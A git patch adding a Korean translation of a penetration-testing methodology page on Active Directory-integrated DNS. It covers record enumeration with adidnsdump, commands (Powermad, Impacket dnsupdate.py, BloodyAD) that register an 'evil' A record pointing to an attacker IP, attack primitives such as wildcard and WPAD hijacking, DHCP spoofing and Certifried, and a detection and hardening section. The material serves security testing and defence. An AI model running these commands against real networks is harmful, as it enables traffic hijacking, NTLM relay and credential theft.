From a399840858cd97ccc8b0ae08e7120b87a887e301 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 14:29:14 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/ad-dns-r --- .../ad-dns-records.md | 63 ++++++++++++++++++- 1 file changed, 62 insertions(+), 1 deletion(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-dns-records.md b/src/windows-hardening/active-directory-methodology/ad-dns-records.md index a1e066fbd..aebde22ce 100644 --- a/src/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/src/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -기본적으로 **Active Directory**의 **모든 사용자**는 도메인 또는 포리스트 DNS 존에서 **모든 DNS 레코드**를 **열거**할 수 있으며, 이는 존 전송과 유사합니다(사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다). +기본적으로 **Active Directory의 모든 사용자**는 도메인 또는 포리스트 DNS 존에서 **모든 DNS 레코드를 열거**할 수 있으며, 이는 존 전송과 유사합니다 (사용자는 AD 환경에서 DNS 존의 자식 객체를 나열할 수 있습니다). 도구 [**adidnsdump**](https://github.com/dirkjanm/adidnsdump)는 내부 네트워크의 정찰 목적을 위해 존의 **모든 DNS 레코드**를 **열거**하고 **내보내기** 할 수 있게 해줍니다. ```bash @@ -10,9 +10,70 @@ git clone https://github.com/dirkjanm/adidnsdump cd adidnsdump pip install . +# Enumerate the default zone and resolve the "hidden" records adidnsdump -u domain_name\\username ldap://10.10.10.10 -r + +# Quickly list every zone (DomainDnsZones, ForestDnsZones, legacy zones,…) +adidnsdump -u domain_name\\username ldap://10.10.10.10 --print-zones + +# Dump a specific zone (e.g. ForestDnsZones) +adidnsdump -u domain_name\\username ldap://10.10.10.10 --zone _msdcs.domain.local -r + cat records.csv ``` +> adidnsdump v1.4.0 (2025년 4월)은 JSON/Greppable (`--json`) 출력을 추가하고, 다중 스레드 DNS 해상도 및 LDAPS에 바인딩할 때 TLS 1.2/1.3을 지원합니다. + 자세한 정보는 [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)를 읽으세요. +--- + +## 레코드 생성 / 수정 (ADIDNS 스푸핑) + +**Authenticated Users** 그룹은 기본적으로 존 DACL에서 **Create Child** 권한을 가지고 있기 때문에, 모든 도메인 계정(또는 컴퓨터 계정)은 추가 레코드를 등록할 수 있습니다. 이는 트래픽 하이재킹, NTLM 릴레이 강제 또는 전체 도메인 손상에 사용될 수 있습니다. + +### PowerMad / Invoke-DNSUpdate (PowerShell) +```powershell +Import-Module .\Powermad.ps1 + +# Add A record evil.domain.local → attacker IP +Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Verbose + +# Delete it when done +Invoke-DNSUpdate -DNSType A -DNSName evil -DNSData 10.10.14.37 -Delete -Verbose +``` +### Impacket – dnsupdate.py (Python) +```bash +# add/replace an A record via secure dynamic-update +python3 dnsupdate.py -u 'DOMAIN/user:Passw0rd!' -dc-ip 10.10.10.10 -action add -record evil.domain.local -type A -data 10.10.14.37 +``` +*(dnsupdate.py는 Impacket ≥0.12.0과 함께 제공됩니다)* + +### BloodyAD +```bash +bloodyAD -u DOMAIN\\user -p 'Passw0rd!' --host 10.10.10.10 dns add A evil 10.10.14.37 +``` +--- + +## 일반적인 공격 원시 요소 + +1. **와일드카드 레코드** – `*.`은 AD DNS 서버를 LLMNR/NBNS 스푸핑과 유사한 기업 전체 응답자로 변환합니다. NTLM 해시를 캡처하거나 LDAP/SMB로 릴레이하는 데 악용될 수 있습니다. (WINS 조회가 비활성화되어 있어야 합니다.) +2. **WPAD 하이재킹** – `wpad`를 추가하거나 공격자 호스트를 가리키는 **NS** 레코드를 추가하여 Global-Query-Block-List를 우회하고, 자격 증명을 수집하기 위해 아웃바운드 HTTP 요청을 투명하게 프록시합니다. Microsoft는 와일드카드/DNAME 우회를 패치했지만 (CVE-2018-8320) **NS 레코드는 여전히 작동합니다**. +3. **오래된 항목 인수** – 이전에 워크스테이션에 속했던 IP 주소를 주장하면 관련 DNS 항목이 여전히 해결되어 리소스 기반 제약 위임 또는 Shadow-Credentials 공격을 DNS에 전혀 손대지 않고 수행할 수 있습니다. +4. **DHCP → DNS 스푸핑** – 기본 Windows DHCP+DNS 배포에서 동일한 서브넷의 인증되지 않은 공격자는 위조된 DHCP 요청을 보내 기존 A 레코드(도메인 컨트롤러 포함)를 덮어쓸 수 있습니다. 이는 동적 DNS 업데이트를 트리거합니다 (Akamai “DDSpoof”, 2023). 이는 Kerberos/LDAP에 대한 중간자 공격을 가능하게 하며 전체 도메인 인수로 이어질 수 있습니다. +5. **Certifried (CVE-2022-26923)** – 제어하는 머신 계정의 `dNSHostName`을 변경하고, 일치하는 A 레코드를 등록한 다음, 해당 이름에 대한 인증서를 요청하여 DC를 가장합니다. **Certipy** 또는 **BloodyAD**와 같은 도구는 이 흐름을 완전히 자동화합니다. + +--- + +## 탐지 및 강화 + +* 민감한 영역에서 **인증된 사용자**에게 *모든 자식 객체 생성* 권한을 거부하고, DHCP에서 사용하는 전용 계정에 동적 업데이트를 위임합니다. +* 동적 업데이트가 필요한 경우, 영역을 **보안 전용**으로 설정하고 DHCP에서 **이름 보호**를 활성화하여 소유자 컴퓨터 객체만 자신의 레코드를 덮어쓸 수 있도록 합니다. +* DNS 서버 이벤트 ID 257/252(동적 업데이트), 770(영역 전송) 및 `CN=MicrosoftDNS,DC=DomainDnsZones`에 대한 LDAP 쓰기를 모니터링합니다. +* 위험한 이름(`wpad`, `isatap`, `*`)을 의도적으로 무해한 레코드로 차단하거나 Global Query Block List를 통해 차단합니다. +* DNS 서버를 패치 상태로 유지합니다 – 예를 들어, RCE 버그 CVE-2024-26224 및 CVE-2024-26231은 **CVSS 9.8**에 도달했으며 도메인 컨트롤러에 대해 원격으로 악용될 수 있습니다. + +## 참고 문헌 + +* Kevin Robertson – “ADIDNS Revisited – WPAD, GQBL and More” (2018, 여전히 와일드카드/WPAD 공격에 대한 사실상의 참고 문헌) +* Akamai – “DHCP DNS 동적 업데이트를 악용한 DNS 레코드 스푸핑” (2023년 12월) {{#include ../../banners/hacktricks-training.md}}